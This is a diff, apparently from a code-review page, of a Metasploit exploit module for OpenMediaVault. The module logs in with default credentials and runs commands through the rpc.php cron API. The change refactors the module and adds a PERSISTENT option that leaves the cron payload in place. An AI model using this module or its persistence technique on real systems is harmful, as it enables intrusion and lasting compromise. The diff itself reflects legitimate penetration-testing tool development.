@@ -71,7 +71,8 @@ def initialize(info = {})
71
71
[
72
72
OptString . new ( 'TARGETURI' , [ true , 'The URI path of the OpenMediaVault web application' , '/' ] ) ,
73
73
OptString . new ( 'USERNAME' , [ true , 'The OpenMediaVault username to authenticate with' , 'admin' ] ) ,
74
- OptString . new ( 'PASSWORD' , [ true , 'The OpenMediaVault password to authenticate with' , 'openmediavault' ] )
74
+ OptString . new ( 'PASSWORD' , [ true , 'The OpenMediaVault password to authenticate with' , 'openmediavault' ] ) ,
75
+ OptBool . new ( 'PERSISTENT' , [ true , 'Keep the payload persistent in Cron. Default value is false, where the payload is removed' , false ] )
75
76
]
76
77
)
77
78
end
@@ -91,7 +92,7 @@ def rpc_success?(res)
91
92
def login ( user , pass )
92
93
print_status ( "#{ peer } - Authenticating with OpenMediaVault using credentials #{ user } :#{ pass } " )
93
94
res = send_request_cgi ( {
94
- 'uri' => normalize_uri ( target_uri . path , '/ rpc.php' ) ,
95
+ 'uri' => normalize_uri ( target_uri . path , 'rpc.php' ) ,
95
96
'method' => 'POST' ,
96
97
'keep_cookies' => true ,
97
98
'ctype' => 'application/json' ,
@@ -111,7 +112,7 @@ def login(user, pass)
111
112
def check_version
112
113
print_status ( 'Trying to detect if target is running a vulnerable version of OpenMediaVault.' )
113
114
res = send_request_cgi ( {
114
- 'uri' => normalize_uri ( target_uri . path , '/ rpc.php' ) ,
115
+ 'uri' => normalize_uri ( target_uri . path , 'rpc.php' ) ,
115
116
'method' => 'POST' ,
116
117
'keep_cookies' => true ,
117
118
'ctype' => 'application/json' ,
@@ -140,7 +141,7 @@ def check_version
140
141
def apply_config_changes
141
142
# Apply OpenMediaVault configuration changes
142
143
send_request_cgi ( {
143
- 'uri' => normalize_uri ( target_uri . path , '/ rpc.php' ) ,
144
+ 'uri' => normalize_uri ( target_uri . path , 'rpc.php' ) ,
144
145
'method' => 'POST' ,
145
146
'ctype' => 'application/json' ,
146
147
'keep_cookies' => true ,
@@ -162,10 +163,8 @@ def execute_command(cmd, _opts = {})
162
163
# OpenMediaVault v1.0.0 - v3.0.15 uses a string definition '*' and uuid setting 'undefined'
163
164
# OpenMediaVault < 1.0.0 is not supported in this module. It will never reach here because the login will fail
164
165
# MSF module: exploit/multi/http/openmediavault_cmd_exec can be used to exploit these versions
165
- schedule = '*'
166
- schedule = [ '*' ] if @version_number >= Rex ::Version . new ( '6.0.15-1' )
167
- uuid = 'fa4b1c66-ef79-11e5-87a0-0002b3a176b4'
168
- uuid = 'undefined' if @version_number <= Rex ::Version . new ( '3.0.15' )
166
+ schedule = @version_number >= Rex ::Version . new ( '6.0.15-1' ) ? [ '*' ] : '*'
167
+ uuid = @version_number <= Rex ::Version . new ( '3.0.15' ) ? 'undefined' : 'fa4b1c66-ef79-11e5-87a0-0002b3a176b4'
169
168
post_data = {
170
169
service : 'Cron' ,
171
170
method : 'set' ,
@@ -191,7 +190,7 @@ def execute_command(cmd, _opts = {})
191
190
} . to_json
192
191
193
192
res = send_request_cgi ( {
194
- 'uri' => normalize_uri ( target_uri . path , '/ rpc.php' ) ,
193
+ 'uri' => normalize_uri ( target_uri . path , 'rpc.php' ) ,
195
194
'method' => 'POST' ,
196
195
'ctype' => 'application/json' ,
197
196
'keep_cookies' => true ,
@@ -211,31 +210,33 @@ def execute_command(cmd, _opts = {})
211
210
end
212
211
213
212
def on_new_session ( _session )
214
- # try to cleanup cron entry in OpenMediaVault
215
- res = send_request_cgi ( {
216
- 'uri' => normalize_uri ( target_uri . path , '/rpc.php' ) ,
217
- 'method' => 'POST' ,
218
- 'ctype' => 'application/json' ,
219
- 'keep_cookies' => true ,
220
- 'data' => {
221
- service : 'Cron' ,
222
- method : 'delete' ,
223
- params : {
224
- uuid : @cron_uuid . to_s
225
- } ,
226
- options : nil
227
- } . to_json
228
- } )
229
- if rpc_success? ( res )
230
- # Apply changes and update cron configuration to remove the payload entry
231
- res = apply_config_changes
213
+ # try to cleanup cron entry in OpenMediaVault unless PERSISTENT option is true
214
+ unless datastore [ 'PERSISTENT' ]
215
+ res = send_request_cgi ( {
216
+ 'uri' => normalize_uri ( target_uri . path , 'rpc.php' ) ,
217
+ 'method' => 'POST' ,
218
+ 'ctype' => 'application/json' ,
219
+ 'keep_cookies' => true ,
220
+ 'data' => {
221
+ service : 'Cron' ,
222
+ method : 'delete' ,
223
+ params : {
224
+ uuid : @cron_uuid . to_s
225
+ } ,
226
+ options : nil
227
+ } . to_json
228
+ } )
232
229
if rpc_success? ( res )
233
- print_good ( 'Cron payload entry successfully removed.' )
230
+ # Apply changes and update cron configuration to remove the payload entry
231
+ res = apply_config_changes
232
+ if rpc_success? ( res )
233
+ print_good ( 'Cron payload entry successfully removed.' )
234
+ else
235
+ print_warning ( 'Cannot apply the cron changes to remove the payload entry.' )
236
+ end
234
237
else
235
- print_warning ( 'Cannot apply the cron changes to remove the payload entry.' )
238
+ print_warning ( 'Cannot access the cron services to remove the payload entry. If required, remove the entry manually .' )
236
239
end
237
- else
238
- print_warning ( 'Cannot access the cron services to remove the payload entry. If required, remove the entry manually.' )
239
240
end
240
241
super
241
242
end
@@ -246,7 +247,7 @@ def check
246
247
247
248
@version_number = check_version
248
249
unless @version_number . nil?
249
- if @version_number <= Rex ::Version . new ( '7.3.1-1' ) && @version_number >= Rex ::Version . new ( '1.0.0' )
250
+ if @version_number . between? ( Rex ::Version . new ( '1.0.0' ) , Rex ::Version . new ( '7.3.1-1' ) )
250
251
return CheckCode ::Vulnerable ( "Version #{ @version_number } " )
251
252
else
252
253
return CheckCode ::Appears ( "Version #{ @version_number } can be exploited with module exploit/multi/http/openmediavault_cmd_exec" ) if @version_number < Rex ::Version . new ( '1.0.0' )
0 commit comments